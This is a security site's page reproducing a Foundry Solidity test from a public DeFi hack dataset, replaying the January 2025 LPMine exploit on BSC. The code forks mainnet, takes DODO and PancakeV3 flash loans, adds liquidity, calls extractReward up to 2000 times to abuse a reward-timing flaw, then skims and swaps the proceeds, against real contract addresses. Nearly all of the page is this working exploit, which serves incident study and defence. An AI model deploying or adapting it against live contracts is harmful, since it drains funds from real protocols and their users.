Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/LPMine_exp.sol

Public reproduction file for dataset entry LPMine.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/LPMine_exp.sol95 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// reason : Use pair balance to calculate the reward,and not update the time correctly,so can claim reward more times.
8// guy : https://x.com/TenArmorAlert/status/1877030261067571234
9// tx : https://app.blocksec.com/explorer/tx/bsc/0x11c1ef2c61f5a2e41d570a1547d2d891bf916853ddd94e32097e86bcdd21cb4c -->add lp
10// : https://app.blocksec.com/explorer/tx/bsc/0x00c5a772a58b117f142b2cbc8721b80d145ef7a910043ad08439863d0e78e300?line=15333 -->claim reward
11// total loss : 24k usdt XD
12interface ILPMine {
13 function partakeAddLp(uint256 _tokenId,uint256 _tokenAmount, uint256 _usdtAmount,address _oldUser) external;
14 function extractReward(uint256 _tokenId) external;
17contract ContractTest is Test {
18 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
19 address dvm1 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;
20 address dvm2 = 0x0e15e47C3DE9CD92379703cf18251a2D13E155A7;
21 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
22 Uni_Pair_V2 pair = Uni_Pair_V2(0xBE2F4D0C39416C7C4157eBFdccB65cc2FF5fb2C4);
23 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
25 address v3pool = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;
27 IERC20 ZF = IERC20(0x259A9FB74d6A81eE9b3a3D4EC986F08fbb42121A);
28 IERC20 WTO = IERC20(0x692097F0D3Bd0dFBbbbb0EE35000729F05d598f5);
29 ILPMine LPMine = ILPMine(0x6BBeF6DF8db12667aE88519090984e4F871e5feb);
30 uint256 borrow_1 = 1000 ether;
31 uint256 borrow_2 = 500_0000 ether;
33 function setUp() external {
34 cheats.createSelectFork("bsc", 45583892);
35 // attacker buy sor
36 deal(address(this),0);
37 deal(address(USDT),address(this),0);
38 }
40 function testExploit() external {
41 emit log_named_decimal_uint("[Begin] USDT balance before", USDT.balanceOf(address(this)), 18);
44 (bool success,) = dvm1.call(abi.encodeWithSignature("flashLoan(uint256,uint256,address,bytes)", 0, borrow_1, address(this), "1"));
45 require(success, "flashloan failed");
47 emit log_named_decimal_uint("[End] USDT balance after", USDT.balanceOf(address(this)), 18);
48 }
50 function dodoCall(address a, uint256 b, uint256 c, bytes memory d) public {
51 console.log("USDT borrow",USDT.balanceOf(address(this)));
52 swap_token_to_token(address(USDT), address(ZF), 1000 ether / 2);
53 ZF.approve(address(LPMine), ZF.balanceOf(address(this)));
54 USDT.approve(address(LPMine), USDT.balanceOf(address(this)));
55 LPMine.partakeAddLp(2,ZF.balanceOf(address(this)),500 ether,0x114FAA79157c6Ba61818CE2A383841e56B20250B);
56 cheats.warp(block.timestamp + 2 hours);
57 (bool success,) = v3pool.call(abi.encodeWithSignature("flash(address,uint256,uint256,bytes)", address(this), borrow_2, 0, ""));
58 require(success, "flash failed");
59 USDT.transfer(dvm1,borrow_1);
60 }
62 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
63 USDT.transfer(address(pair), USDT.balanceOf(address(this)));
64 for(uint i = 0; i < 2000; i++) {
65 try LPMine.extractReward(1) {
66 // console.log(i,ZF.balanceOf(address(this)));
67 } catch {
68 continue;
69 }
70 }
71 ZF.transfer(address(pair),1); //--> ZF token do not allowed zero transfer
72 pair.skim(address(this));
73 swap_token_to_token(address(ZF), address(USDT), ZF.balanceOf(address(this)));
74 swap_token_to_token(address(WTO), address(USDT), WTO.balanceOf(address(this)));
75 USDT.transfer(v3pool, borrow_2 + fee0);
76 }
78 function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
79 dodoCall(sender, baseAmount, quoteAmount, data);
80 }
82 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
83 dodoCall(sender, baseAmount, quoteAmount, data);
84 }
86 function swap_token_to_token(address a, address b, uint256 amount) internal {
87 IERC20(a).approve(address(router), amount);
88 address[] memory path = new address[](2);
89 path[0] = address(a);
90 path[1] = address(b);
91 router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
92 }
94 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “LPMine” (2025-01-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
LPMine
Path
src/test/2025-01/LPMine_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
162b0d201373bf2f12bcd266d40b1b557b524ec7
Language
Solidity
Size
96 lines
Date
2025-01-08
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/LPMine_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 162b0d201373bf2f12bcd266d40b1b557b524ec7, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.